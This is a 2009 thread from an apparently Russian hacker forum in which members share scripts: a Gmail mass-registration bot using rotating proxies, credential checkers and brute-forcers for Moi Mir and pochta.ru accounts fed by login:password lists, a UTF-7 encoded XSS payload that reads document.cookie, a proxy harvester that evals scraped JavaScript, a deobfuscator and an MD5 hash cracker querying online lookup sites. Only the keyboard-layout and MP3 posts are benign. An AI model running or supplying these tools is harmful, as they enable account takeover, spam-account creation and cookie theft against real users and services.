
21.04.2009, 01:35
|
|
Постоянный
Регистрация: 29.09.2008
Сообщений: 553
С нами:
9270510
Репутация:
519
|
|
gmail регер с ручным вводом капчи
PHP код:
<?php
$password = "vv12345";
set_time_limit(300);
function generateCode($length=6) {
$chars = "abcdefghijklmnopqrstuvwxyz";
$code = "";
$clen = strlen($chars) - 1;
while (strlen($code) < $length) {
$code .= $chars[mt_rand(0,$clen)];
}
return $code;
}
function generateDigits($length=6) {
$chars = "0123456789";
$code = "";
$clen = strlen($chars) - 1;
while (strlen($code) < $length) {
$code .= $chars[mt_rand(0,$clen)];
}
return $code;
}
$proxies;
$proxiesFile = fopen("proxies.txt","r+");
while(!feof($proxiesFile)){
$proxy = fgets($proxiesFile,4096);
$delimPos = strpos($proxy, ":");
$ip = substr($proxy, 0, $delimPos);
$port = substr($proxy, $delimPos+1, strlen($proxy));
$proxies[]= array($ip,$port);
}
$lastURL="";
function getPageWithProxy($URL,$data,$referer,$badString,$proxyType='') {
global $lastURL;
global $proxies;
$proxyArrSize = count($proxies);
$cp = curl_init($URL);
$useragent="Mozilla/5.0 (Windows; U; Windows NT 5.0; us; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.666";
curl_setopt($cp, CURLOPT_USERAGENT, $useragent);
curl_setopt($cp, CURLOPT_RETURNTRANSFER,1);
curl_setopt($cp, CURLOPT_CONNECTTIMEOUT,3);
curl_setopt($cp, CURLOPT_FOLLOWLOCATION,1);
curl_setopt($cp, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($cp, CURLOPT_SSL_VERIFYHOST, 2);
curl_setopt($cp, CURLOPT_VERBOSE, 1);
$cookieFilename = "cookies.txt";
if(substr(PHP_OS, 0, 3) == 'WIN' && strpos($cookieFilename,"/")===FALSE){
$cookieFilename = str_replace('\\','/', getcwd().'/'.$cookieFilename);
}
curl_setopt($cp, CURLOPT_COOKIEJAR, $cookieFilename);
curl_setopt($cp, CURLOPT_COOKIEFILE, $cookieFilename);
if($data!=""){
curl_setopt($cp, CURLOPT_POST, 1);
curl_setopt($cp, CURLOPT_POSTFIELDS,$data);
}
if($referer!=""){
curl_setopt($cp, CURLOPT_REFERER, $referer);
}
if($proxyType=="socks4"){
curl_setopt($cp,CURLOPT_PROXYTYPE,4);
}
$success = false;
for($i=0; $i<2*$proxyArrSize; $i++){
$num = rand(0,$proxyArrSize-1);
$ip = $proxies[$num][0];
$port = $proxies[$num][1];
curl_setopt($cp, CURLOPT_PROXY, "$ip".":"."$port");
$code = curl_exec($cp);
$lastURL = curl_getinfo($cp,CURLINFO_EFFECTIVE_URL);
if(curl_errno($cp)==0 && curl_getinfo($cp,CURLINFO_HTTP_CODE)==200){
$badPos = 0;
if($badString != ""){
$badPos = strpos($code, $badString);
}
if($badPos==0){
$success = true;
break;
}
}
}
curl_close($cp);
if ($success == true){
return $code;
}else{
return false;
}
}
if(!isset($_POST["go"])){
$code = getPageWithProxy("http://gmail.com","","","","socks4");
$code = getPageWithProxy("http://mail.google.com/mail/signup","",$lastURL,"","socks4");
$doc = new DOMDocument();
$doc->loadHTML($code);
function getInputByName($domDocument,$name){
$inputList = $domDocument->getElementsByTagName("input");
for($c=0; $c<$inputList->length; $c++){
$atts = $inputList->item($c)->attributes;
if($atts->getNamedItem("name")->nodeValue==$name){
return $atts->getNamedItem("value")->nodeValue;
break;
};
}
}
$captchaURL = getInputByName($doc,"newaccounturl");
$continue = getInputByName($doc,"continue");
$data = "continue=".urlencode($continue)."&";
$data = $data."service=mail&type=2&t=null&";
$data = $data."dsh=".getInputByName($doc,"dsh")."&";
$data = $data."edk=gmail.com&p=&";
$data = $data."Passwd=$password&PasswdAgain=$password&PersistentCookie=no&";
$data = $data."rmShown=1&smhhk=1&&smhck=1&nshk=1&selection=What+is+your+primary+frequent+flyer+number&";
$data = $data."ownquestion=&IdentityAnswer=".generateDigits(rand(2,3))."&SecondaryEmail=&hl=en&loc=US&";
$data = $data."newaccounttoken=".getInputByName($doc,"newaccounttoken")."&";
$data = $data."newaccounturl=".urlencode($captchaURL)."&";
$data = $data."newaccounttoken_audio=".getInputByName($doc,"newaccounttoken_audio")."&";
$data = $data."newaccounturl_audio=".urlencode(getInputByName($doc,"newaccounturl_audio"))."&";
$data = $data."program_policy_url=".urlencode(getInputByName($doc,"program_policy_url"))."&";
$data = $data."privacy_policy_url=".urlencode(getInputByName($doc,"privacy_policy_url"))."&";
$data = $data."requested_tos_location=US&requested_tos_language=en&";
$data = $data."served_tos_location=US&served_tos_language=en&";
$data = $data."submitbutton=".urlencode(getInputByName($doc,"submitbutton"));
?>
<html>
<head/>
<body>
<form method="post" action="gmreger.php">
<input type="hidden" name="continue" value="<?php echo $continue ?>" />
<input type="hidden" name="data" value="<?php echo $data ?>" />
<input type="hidden" name="lastURL" value="<?php echo $lastURL ?>" />
<table>
<tr>
<td>
Enter keyword:
</td>
<td>
<input name="keyword" value=""></input>
</td>
</tr>
<tr>
<td>
</td>
<td>
<img alt="captcha" src="<?php echo $captchaURL ?>" />
</td>
</tr>
<tr>
<td>
Enter captcha:
</td>
<td>
<input name="captcha"></input>
</td>
</tr>
<tr>
<td>
</td>
<td>
<input type="submit" name="go" width="150" value="go"/>
</td>
</tr>
</table>
</form>
</body>
</html>
<?php
}else{
$words = preg_split('/ /',$_POST["keyword"]);
$firstname = $words[0];
$lastname;
$login = substr($firstname,0,9);
if(count($words)>1){
$lastname = $words[1];
$login = $login . substr($lastname,0,4);
}else{
$lastname = $words[0];
$login = $login . substr($lastname,1,7);
}
$login = strtolower($login . generateCode(2).generateDigits(2));
$data = "FirstName=".$firstname."&LastName=".$lastname."&";
$data = $data."UsernameSelector=header&Email=".$login."&";
$data = $data."newaccountcaptcha=".$_POST["captcha"]."&";
$data = $data.$_POST["data"];
$regURL = "https://www.google.com/accounts/CreateAccount?service=mail&".urlencode($_POST["continue"])."&type=2";
echo getPageWithProxy($regURL,$data,$_POST["lastURL"],"","socks4");
}
?>
|
|
|

21.04.2009, 18:23
|
|
Reservists Of Antichat - Level 6
Регистрация: 25.04.2008
Сообщений: 827
С нами:
9497186
Репутация:
1304
|
|
Небольшая функция для расшифровки простых обфускаций, например как тут или тут
PHP код:
function decrypt($data,$filename='',$times=1)
{
error_reporting(0);
function bulk($str)
{
$str = preg_replace('~^\?\>~','',$str);
return str_ireplace(array('<?php','<?','?>','eval','__FILE__'),array('','','/*','echo','$_FILE__'),$str);
}
$f = $data;
$_FILE__=$filename;
for ($i=0;$i<$times;$i++)
{
ob_start();
eval(bulk($f));
$f = ob_get_contents();
ob_end_clean();
}
return preg_replace(array('~^\?\>~','~\<\?$~'),'',$f);
}
Способ применения - $data - содержимое интересующего скрипта, например file_get_contents('encrypted.php')
$filename - путь до файла, некоторые защиты привязываются к __FILE__ например
$count - количество раз для снятия защиты, подбирается экспериментально, например для DLE - это 1, а для RedButton VVS Edition 5 или 6.
Последний раз редактировалось Gifts; 21.04.2009 в 18:27..
|
|
|

22.04.2009, 11:13
|
|
Участник форума
Регистрация: 15.08.2008
Сообщений: 167
С нами:
9336002
Репутация:
204
|
|
Чекер акков соц. сети "Мой Мир"
PHP код:
<?//СПС mr.grek
set_time_limit(0);
$accs = file ("accs.txt");
$unaccs = array_unique ($accs);
$in = count ( $accs );
$all = count ( $unaccs );
for($i = 0; $i < $all;$i ++)
{
$buffer = trim($unaccs[$i]);
list ($email, $pass) = explode(":", $buffer);
list ($login, $domain) = explode("@", $email);
$url = "http://my.mail.ru/cgi-bin/auth";
$referer = "http://my.mail.ru/cgi-bin/login?page=http%3A%2F%2Fmy.mail.ru%2F";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, "Login=$login&omain=$domain&Password=$pass");
curl_setopt($ch, CURLOPT_COOKIEJAR, $_SERVER['DOCUMENT_ROOT'].'/cookie.txt');
$result = curl_exec($ch);
if(preg_match("#Новое сообщение#", $result))
{
$fp = fopen("good.txt", "a+");
fwrite($fp, $buffer);
}
else
{
$fp = fopen("bad.txt", "a+");
fwrite($fp, $buffer);
}
}
?>
В accs.txt ложим акии формата
login@mail.ru:12345
Последний раз редактировалось Shaitan-Devil; 22.04.2009 в 11:37..
|
|
|

25.04.2009, 06:49
|
|
Banned
Регистрация: 06.01.2008
Сообщений: 904
С нами:
9655526
Репутация:
1821
|
|
"Ыыыы" или просто ОЛоло
Вообщем на коленке накидал скриптик, дело было достаточно давно, но надо было трансика на вечер, инет у меня медленный вот накидал для скачки музыки с прикольного сайтика, также можно подредактировать под свои нужды.
PHP код:
#! /usr/bin/env python
# -*- coding:windows-1251 -*-
#-#######################################################-##
# Скачиваем музыку ##
# (c) 2009 ##
# Создал специально для себя, ##
# так как инет медленный, а без ##
# Транса, кодить не умею... ##
# De-visible project ##
# ndcoders.ru ##
# GreetZ To login999 ##
# Thanks to http://mp3.myws.ru/index.php/search?q=trance ##
# Также делаем программы на заказ ##
# Контакт ICQ#: 22-3333-575 ##
# Мы: ndcoders.ru, devisible.ru ##
#-######################################################-###
import urllib
import time
import re
import threading
import urlparse
import string
URL_MAS = []
s = 1
def DownFile(url):
f = urlparse.urlsplit(url)
mp3_name = str(f.path).strip('\/')
mp3_name = str(mp3_name).strip('[')
mp3_name = str(mp3_name).strip(']')
mp3_name = str(mp3_name).strip('\'')
mp3_name = mp3_name.replace('/','1')
try:
print u"Начинаем закачку файла: ", mp3_name, '\n'
print u"Размер файла: ", GetSizeMp3(url), "byte"
infile = urllib.urlopen(url).read()
except:
print u"Ошибка скачивания: ", mp3_name
print u", Файл закачен\n"
mp3_file = open(mp3_name+str(s)+'.mp3',"wb")
mp3_file.write(infile)
mp3_file.close()
print 'File Saved Local'
def GetSizeMp3(url):
size_mp3 = urllib.urlopen(url).info()
mp3 = str(size_mp3)
s_mp3 = str(re.findall(r'Content-Length: (.*?)\r\n',mp3))[2:-2]
print s_mp3
def LoadFromFile():
with open("urls.txt",) as urls:
for ur in urls:
URL_MAS.append(ur[:-1])
def ServerOption():
info = urllib.urlopen('http://mp3.myws.ru').info()
with open('serv_option.txt',"w") as serv:
serv.write(str(info))
print '''
Author: De-visible, ICQ#: 22-3333-575
WeAre: ND_c0ders, ndcoders.ru
ServerOption: mp3.myws.ru
'''
print info,'\n\n'
def Start_Process():
LoadFromFile()
print u"Массив ссылок загружен",'\n'
print u"Менеджер закачек запущен",'\n'
ServerOption()
s = 1
for url_mas in URL_MAS:
DownFile(url_mas)
time.sleep(3)
s+= s
print u" Все закачки завершены"
threading.Thread(target = Start_Process).start()
time.sleep(1000)
|
|
|

01.05.2009, 22:37
|
|
Постоянный
Регистрация: 02.07.2008
Сообщений: 472
С нами:
9399011
Репутация:
444
|
|
Индикация языка ввода будит полезна при вводе пароля, скрипт покажет язык ввода и регистр вводимых букв.
вставляем это на страницу:
Код:
<script type="text/javascript">
$(function(){
$(':password').keyboardLayout();
});
</script>
подгружаем эти файлы:
jquery.keyboardLayout.js и jquery.js
Код:
(function() {
jQuery.keyboardLayout = {};
jQuery.keyboardLayout.indicator = $('<span class="keyboardLayout" />');
jQuery.keyboardLayout.target;
jQuery.keyboardLayout.layout;
jQuery.keyboardLayout.show = function(layout){
this.layout = layout;
this.indicator.text(layout);
this.target.after(this.indicator);
};
jQuery.keyboardLayout.hide = function(){
this.target = null;
this.layout = null;
this.indicator.remove();
};
jQuery.fn.keyboardLayout = function()
{
this.each(function(){
$(this).focus(function(){
jQuery.keyboardLayout.target = $(this);
});
$(this).blur(function(){
jQuery.keyboardLayout.hide();
});
$(this).keypress(function(e){
var c = (e.charCode == undefined ? e.keyCode : e.charCode);
var layout = jQuery.keyboardLayout.layout;
if (c >= 97/*a*/ && c <= 122/*z*/ && !e.shiftKey ||
c >= 65/*A*/ && c <= 90/*Z*/ && e.shiftKey ||
(c == 91/*[*/ && !e.shiftKey ||
c == 93/*]*/ && !e.shiftKey ||
c == 123/*{*/ && e.shiftKey ||
c == 125/*}*/ && e.shiftKey ||
c == 96/*`*/ && !e.shiftKey ||
c == 126/*~*/ && e.shiftKey ||
c == 64/*@*/ && e.shiftKey ||
c == 35/*#*/ && e.shiftKey ||
c == 36/*$*/ && e.shiftKey ||
c == 94/*^*/ && e.shiftKey ||
c == 38/*&*/ && e.shiftKey ||
c == 59/*;*/ && !e.shiftKey ||
c == 39/*'*/ && !e.shiftKey ||
c == 44/*,*/ && !e.shiftKey ||
c == 60/*<*/ && e.shiftKey ||
c == 62/*>*/ && e.shiftKey) && layout != 'EN') {
layout = 'en';
} else if (c >= 65/*A*/ && c <= 90/*Z*/ && !e.shiftKey ||
c >= 97/*a*/ && c <= 122/*z*/ && e.shiftKey) {
layout = 'EN';
} else if (c >= 1072/*Р°*/ && c <= 1103/*СЏ*/ && !e.shiftKey ||
c >= 1040/*Рђ*/ && c <= 1071/*РЇ*/ && e.shiftKey ||
(c == 1105/*С‘*/ && !e.shiftKey ||
c == 1025/*РЃ*/ && e.shiftKey ||
c == 8470/*в„–*/ && e.shiftKey ||
c == 59/*;*/ && e.shiftKey ||
c == 44/*,*/ && e.shiftKey) && layout != 'RU') {
layout = 'ru';
} else if (c >= 1040/*Рђ*/ && c <= 1071/*РЇ*/ && !e.shiftKey ||
c >= 1072/*Р°*/ && c <= 1103/*СЏ*/ && e.shiftKey) {
layout = 'RU';
}
if (layout) {
jQuery.keyboardLayout.show(layout);
}
});
});
};
})();
Каму надо тот разберётся, кто непонял что это вот ДЕМО
Последний раз редактировалось heretic1990; 13.05.2009 в 10:34..
|
|
|

07.05.2009, 23:07
|
|
Постоянный
Регистрация: 02.07.2008
Сообщений: 472
С нами:
9399011
Репутация:
444
|
|
MatriX30000, free.jpg, это не картинка, это скрипт.))
встави где нибудь его как рисунок и все
|
|
|

07.05.2009, 23:34
|
|
Постоянный
Регистрация: 20.03.2009
Сообщений: 564
С нами:
9023100
Репутация:
395
|
|
кодируем в UTF-7
Щас час потратил изобретая велосипед на Си (читая RFC написал свой base64 ы), но так и не получил результата... немного полистав странички гугла...
PHP код:
<?php
echo iconv('windows-1251','UTF-7',"</title><script>alert(document.cookie);</script>");
?>
*бьюсь ап стену*
З.Ы: если не в курсах зачем может понадобится UTF-7 читайте про XSS
|
|
|

08.05.2009, 18:34
|
|
Постоянный
Регистрация: 20.12.2007
Сообщений: 334
С нами:
9680718
Репутация:
118
|
|
PHP код:
<?
# +----------------------------------------------+
# | - Generator socks5 ;) |
# | - (c) 2009 Writed by shellz |
# +----------------------------------------------+
// Setting:
set_time_limit(0);
error_reporting(0);
$loop = 10; // 1 - num loops
$mode = 1; // 0 - show all; 1 - show only the good
$save = 0; // 0 - show on page; 1 - save in the file
$file = 'socks5.txt'; // File name
do
{
$url = "http://sockslist.net";
$get = file($url);
foreach($get as $getting)
{
$pattern = "/<script type=\'text\/javascript\'>(.+)\(unescape\(\'.*\'\)\)<\/script>/is";
preg_match($pattern, $getting, $grab);
if($grab[0] == true) {
$str_beg = str_replace("<script type='text/javascript'>eval(unescape('", "", $grab[0]);
$str_end = str_replace("'))</script>","", $str_beg);
$js = urldecode($str_end);
$arr = explode(";", $js);
$version = explode("+", $arr[16]);
$country = explode("</td>", $arr[16]);
for($i = 0; $i < 12; $i++)
{
if($i > 10) {
$two = explode("=", trim($arr[$i]));
} else {
$socks .= '$'.trim($arr[$i]).';';
}
}
$socks .= '$port = $'.trim($two[1]).';';
eval($socks);
if(trim($version[5]) == 5) { // show only socks 5 version;
$intz = $ipa.":".$port.":".trim($version[5]); }
if($mode == 0) {
if($save == 0) {
echo $ipa.":".$port." [".gethostbyaddr($ipa)."] => ".$country[0]."<br>"; } else {
file_put_contents($file, $ipa.":".$port." [".gethostbyaddr($ipa)."] => ".$country[0]."\n", FILE_APPEND);
}
} else {
$check = file_get_contents("http://sockslist.net/cgi-bin/socks/proxytools.cgi?do=check&socks=".$intz);
$patterm = "|<font color=\"\#00ab38\">works<\/font>|is";
if(preg_match($patterm, $check)) {
if($save == 0){
echo $ipa.":".$port." [".gethostbyaddr($ipa)."] => ".$country[0]." - Socks5 Good! <br>"; } else {
file_put_contents($file, $ipa.":".$port." [".gethostbyaddr($ipa)."] => ".$country[0]." - Socks5 Good!\n", FILE_APPEND); }
}
}
}
} $lp++;
}
while($lp < $loop);
?>
|
|
|

09.05.2009, 21:38
|
|
Участник форума
Регистрация: 28.04.2008
Сообщений: 172
С нами:
9492347
Репутация:
270
|
|
Простой скрипт брутер pochta.ru.
Использует очень полезный класс для работы с сокетами.
Сам брутер:
PHP код:
<?php
/*
Pochta.ru брутер.
login.txt - файл формата e-mail;password
proxy.txt - файл с проксями.
good.txt - сбрученные аккаунты.
(с) art2222
*/
require_once 'class.php';
$cs = new phpsploit();
$cs -> agent('Mozilla/4.0 (compatible; MSIE 6.0b1; Windows NT 5.1; SV1; .NET CLR 1.1.4322)');
$proxy = @file('proxy.txt');
$good = array();
foreach (file('login.txt') as $value)
{
list($login,$pass) = explode(';',trim($value));
list($login,$domain) = explode('@',$login);
list($ip,$port) = explode(':',trim(array_rand($proxy)));
$cs->proxy($ip,$port);
$content = $cs->post('http://pda.pochta.ru/auth/logon',"reason=login&lng=ru&rnd=&user=$login&domain=$domain&pass=$pass");
if (strpos($content,'INBOX')) array_push($good, $value);
}
file_put_contents('good.txt', $good);
?>
Брутер+php класс
|
|
|

10.05.2009, 13:32
|
|
Banned
Регистрация: 10.05.2009
Сообщений: 36
С нами:
8950090
Репутация:
9
|
|
MD5-Crack-Monster(перл)
Код:
#!usr/bin/perl ## # Coded By hors_de_prix # Md5 Crack Monster v1.1 ####################### # www.tydal.nu # milw0rm.com # gdataonline.com # ice.breaker.free.fr # passcracking.com # md5.hashcracking.com # md5decryption.com # www.hashchecker.com # victorov.su # md5crack.it-helpnet.de # www.md5decrypter.com # blacklight.gotdns.org # www.hashchecker.com # md5.ip-domain.com.cn # www.bigtrapeze.com # opencrack.hashkiller.com # md5live.com # www.md5hood.com # www.astalavista.net ####################### # Ex. Option 1 # # Pick one of ~# 1 # Enter Md5 Hash ~# 9f06cd848dfef4e02ff9a14a21ae5dd8 # *************** # Ex. Option 2 # # Pick one of ~# 2 # Enter Md5 File ~# md5_hash.txt # *************** # # Ex. For md5_hash.txt # # 28c15e68173b7bf815ccbfd0513d2663 # 21232f297a57a5a743894a0e4a801fc3 # 8ff32489f92f33416694be8fdc2d4c22 # ... # ... ## use LWP::UserAgent; use HTTP::Request::Common; system('cls'); system('title Md5 Crack Monster v1.1 - Coded By KuNdUz'); print "\n\t***********************************\n"; print "\t* Md5 Crack Monster v1.1 *\n"; print "\t* Coded By KuNdUz *\n"; print "\t- Options: -\n"; print "\t* 1 - md5 hash *\n"; print "\t* 2 - md5.txt *\n"; print "\t***********************************\n"; print "\nPick One Of ~# "; $pick=<STDIN>; chop($pick); if($pick == "1"){ MD5FAIL: print "\nEnter Md5 Hash ~# "; $hash=<STDIN>; chop($hash); ###############md5 hash crack############### if (length($hash)==32) { print "\n\t*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* -*-*-*-*-*-*-*-*-*\n"; print "\t* Md5 Crack Monster v1.1 *\n"; print "\t* Coded By KuNdUz *\n"; print "\t*__ $hash Searching 19 sites __*\n"; print "\t*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- *-*-*-*-*-*-*-*-*\n\n"; &next; } else { print "\nThis is not a md5 hash!\n\n$hash \n\nTry Again! \n\n"; goto MD5FAIL; } } ###############md5 hash file crack############### if($pick == "2"){ print "\nEnter Md5 File ~# "; $file=<STDIN>; chop($file); open(RES,"<","$file"); @lol = <RES>; close(RES); foreach $hash(@lol){ print " \nSearching Md5 Hash $hash\n\n"; &next; } } sub next { $url = "http://www.tydal.nu/php/sakerhet/md5.php? q=$hash"; $lwp = LWP::UserAgent->new(); $lwp -> agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $connect = $lwp -> get($url); print "1 www.tydal.nu ---- "; if ($connect -> content =~ /(.*)<\/b><\/h5>/) { if ($connect -> content =~ /Ingen/) { print "Result : Hash not found!\n"; } else { print "Result : $1\n"; } } else { print "Result : Hash not found!\n"; } $url = "http://milw0rm.com/cracker/search.php"; $lwp = LWP::UserAgent->new(); $lwp -> agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $request = $lwp->post($url, ["hash" => $hash, "Submit" => "Submit"]); print "2 www.milw0rm.com ---- "; if ($request->content =~ /<\/TD><TD align=\"middle\" nowrap=\"nowrap\" width=90>(.*)<\/TD><TD align=\"middle\" nowrap=\"nowrap\" width=90>cracked<\/TD><\/TR>/) { print "Result : $1\n"; } else { print "Result : Hash not found!\n"; } $url = "http://gdataonline.com/qkhash.php? mode=txt&hash=$hash"; $lwp = LWP::UserAgent->new(); $lwp -> agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $connect = $lwp -> get($url); print "3 gdataonline.com ---- "; if ($connect -> content =~ /<\/td><td width=\"35%\"><b> (.*)<\/b><\/td><\/tr>/) { print "Result : $1\n"; } else { print "Result : Hash not found!\n"; } $url = "http://ice.breaker.free.fr/md5.php?hash=$hash"; $lwp = LWP::UserAgent->new(); $lwp -> agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $connect = $lwp->get($url); print "4 ice.breaker.free.fr ---- "; if ($connect -> content =~ /: <b><br><br> - (.*) <br><br><br><a href=http:\/\/ice.breaker.free.fr\/#hash>/) { print "Result : $1\n"; } else { print "Result : Hash not found!\n"; } $url = "http://passcracking.com/"; $lwp = LWP::UserAgent->new(); $lwp -> agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $request = $lwp ->post($url, ["datafromuser" => $hash, "submit" => "DoIT"]); print "5 passcracking.com ---- "; if ($request->content =~ /<\/td><td>md5 Database<\/td><td>$hash<\/td><td bgcolor=#FF0000>(.*) <\/td><td>/) { print "Result : $1\n"; } else { print "Result : Hash not found!\n"; } $url = "http://md5.hashcracking.com/search.php? md5=$hash"; $lwp = LWP::UserAgent->new(); $lwp->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $connect = $lwp -> get($url); print "6 md5.hashcracking.com ---- "; if ($connect->content =~ /Cleartext of $hash is (.*)/) { print "Result : $1\n"; } else { print "Result : Hash not found!\n"; } $url = "http://md5decryption.com"; $lwp = LWP::UserAgent->new(); $lwp -> agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $request = $lwp->post($url, ["hash" => $hash, "submit" => "Decrypt It!"]); print "7 www.md5decryption.com ---- "; if ($request->content =~ /<h2>Results<\/h2><b>Md5 Hash:<\/b> $hash<br\/><b class='red'>Normal Text: <\/b> (.*)<br\/>/) { print "Result : $1\n"; } else { print "Result : Hash not found!\n"; } $url = "http://www.hashchecker.com/index.php? _sls=search_hash"; $lwp = LWP::UserAgent->new(); $lwp -> agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $request = $lwp -> post($url, ["search_field" => $hash, "Submit" => "search"]); print "8 www.hashchecker.com ---- "; if ($request -> content =~ /<td><li>Your md5 hash is :<br><li>$hash is <b>(.*)<\/b> used charl/) { print "Result : $1\n"; } else { print "Result : Hash not found!\n"; } $url = "http://victorov.su/md5/?md5e=&md5d=$hash"; $lwp = LWP::UserAgent->new(); $lwp->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $connect = $lwp -> get($url); print "9 victorov.su ---- "; if ($connect -> content =~ /MD5 расшифрован: <b>(.*) <\/b><br><form action=\"\">/) { print "Result : $1\n"; } else { print "Result : Hash not found!\n"; } $url = "http://md5crack.it-helpnet.de/index.php?op=search"; $lwp = LWP::UserAgent->new(); $lwp->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $request = $lwp->post($url, ["md5" => $hash, "submit" => "Search now"]); print "10 md5crack.it-helpnet.de ---- "; if ($request->content =~ /<\/td><td>$hash<\/td><td>(.*) <\/td>/) { if (length($1)==23) { print "Result : Hash not found!\n"; } else { print "Result : $1\n"; } } else { print "Result : Hash not found!\n"; } $url = "http://www.md5decrypter.com/"; $lwp = LWP::UserAgent->new(); $lwp->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $request = $lwp->post($url, ["hash" => $hash, "submit" => "Decrypt!"]); print "11 www.md5decrypter.com ---- "; if ($request->content =~ /<h2>Results<\/h2><b>Md5 Hash:<\/b> $hash<br\/><b class='red'>Normal Text: <\/b> (.*)/) { if (length($1)==23) { print "Result : Hash not found!\n"; } else { print "Result : $1\n"; } } else { print "Result : Hash not found!\n"; } $url = "http://blacklight.gotdns.org/cracker/crack.php"; $lwp = LWP::UserAgent->new(); $lwp->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $request = $lwp->post($url, ["hash" => $hash, "algos" => "MD5", "crack" => "Crack"]); print "12 blacklight.gotdns.org ---- "; if ($request->content =~ /$hash -> <b>(.*) <\/b><br><br>/) { print "Result : $1\n"; } else { print "Result : Hash not found!\n"; } $url = "http://www.hashchecker.com/index.php? _sls=search_hash"; $lwp = LWP::UserAgent->new(); $lwp->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $request = $lwp->post($url, ["search_field" => $hash, "Submit" => "search"]); print "13 www.hashchecker.com ---- "; if ($request->content =~ /<td><li>Your md5 hash is :<br><li>$hash is <b>(.*)<\/b> used charlist/) { print "Result : $1\n"; } else { print "Result : Hash not found!\n"; } $url = "http://md5.ip-domain.com.cn/"; $lwp = LWP::UserAgent->new(); $lwp->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $request = $lwp->post($url, ["text" => $hash, "submit" => "submit"]); print "14 md5.ip-domain.com.cn ---- "; if ($request->content =~ /<strong>result:<\/strong><font color=red>(.+)<\/font> /){ print "Result : $1\n"; } else { print "Result : Hash not found!\n"; } $url = "http://www.bigtrapeze.com/md5/"; $lwp = LWP::UserAgent->new(); $lwp->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $request = $lwp->post($url, ["query" => $hash, "submit" => " Crack "]); print "15 www.bigtrapeze.com ---- "; if ($request->content =~ /The hash <strong>$hash<\/strong> has been deciphered to: <strong>(.+)<\/strong>/) { print "Result : $1\n"; } else { print "Result : Hash not found!\n"; } $url = "http://opencrack.hashkiller.com/"; $lwp = LWP::UserAgent->new(); $lwp->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $request = $lwp->post($url, ["oc_check_md5" => $hash, "submit" => "Search MD5"]); print "16 opencrack.hashkiller.com ---- "; if ($request->content =~ /<\/div><div class="result">$hash:(.+)<br\/>/) { print "Result : $1\n"; } else { print "Result : Hash not found!\n"; } $url = "http://md5live.com/index.php? format=md5&search=$hash"; $lwp = LWP::UserAgent->new(); $lwp->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $connect = $lwp -> get($url); print "17 md5live.com ---- "; if ($connect -> content =~ /(.+)<br \/>/){ print "Result : $1\n"; } $url = "http://www.md5hood.com/"; $lwp = LWP::UserAgent->new(); $lwp->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $request = $lwp->post($url, ["md5" => $hash, "submit" => "Search"]); print "18 www.md5hood.com ---- "; if ($request->content =~ / <div class="result_found">(.+)<\/div>/){ print "Result : $1\n"; } else { print "Result : Hash not found!\n"; } $url = "https://www.astalavista.net/?cmd=rainbowtables"; $lwp = LWP::UserAgent->new(); $lwp->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $request = $lwp->post($url, ["query_hash" => $hash, "submit" => "Search", "hash_algorithm_query" => "MD5"]); print "19 www.astalavista.net ---- "; if ($request->content =~ /<\/td><\/tr><tr><td><b>Plain- Text:<\/b><\/td><\/tr><tr><td>(.+)/) { print "Result : $1\n"; } else { print "Result : Hash not found!\n"; } } ## # Coded By hors_de_prix ##
Последний раз редактировалось hors_de_prix; 10.05.2009 в 14:02..
Причина: настраивал
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|